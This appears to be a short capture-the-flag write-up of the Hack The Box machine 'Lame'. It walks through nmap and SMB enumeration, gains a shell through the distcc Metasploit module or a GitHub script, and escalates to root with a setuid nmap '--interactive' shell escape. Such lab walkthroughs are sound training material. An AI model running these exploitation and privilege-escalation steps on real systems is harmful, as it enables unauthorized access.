We are going to pwn Lame from Hack The Box.

Lets Begin with our Initial Nmap Scan.

FTP Enumeration

So lets start from 1st port ftp Lets check whether the version has any exploit available.

Since we know the verion of ftp which is vsftpd 2.3.4 from nmap scan lets search for any exploits available.

It didn’t worked, they might patched it.

Lets check other ports.

SMB Enumeration

First I checked any shares available and it seems we have Read and Write access on tmp.

root@kali:~# smbmap -H
[+] IP:	Name:                                        
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	tmp                                               	READ, WRITE	oh noes!
	opt                                               	NO ACCESS	
	IPC$                                              	NO ACCESS	IPC Service (lame server (Samba 3.0.20-Debian))
	ADMIN$                                            	NO ACCESS	IPC Service (lame server (Samba 3.0.20-Debian))

I get some error if I tried connecting to it.

Getting User Shell

We know port 3632 running Distcc So I googled for any exploits available and found an exploit/


use exploit/unix/misc/distcc_exec

We got shell and found an user makis

Without Metasploit

There is a python script from Github


I tried using that python script and didn’t changed any and got the shell as daemon.

Privilege Escalation

Uploaded my enumeration Script and Found some SETUID.

Lets try with nmap

I searched for nmap in GTFOBins


nmap --interactive
nmap> !sh

Using the commands

We got the Root!!
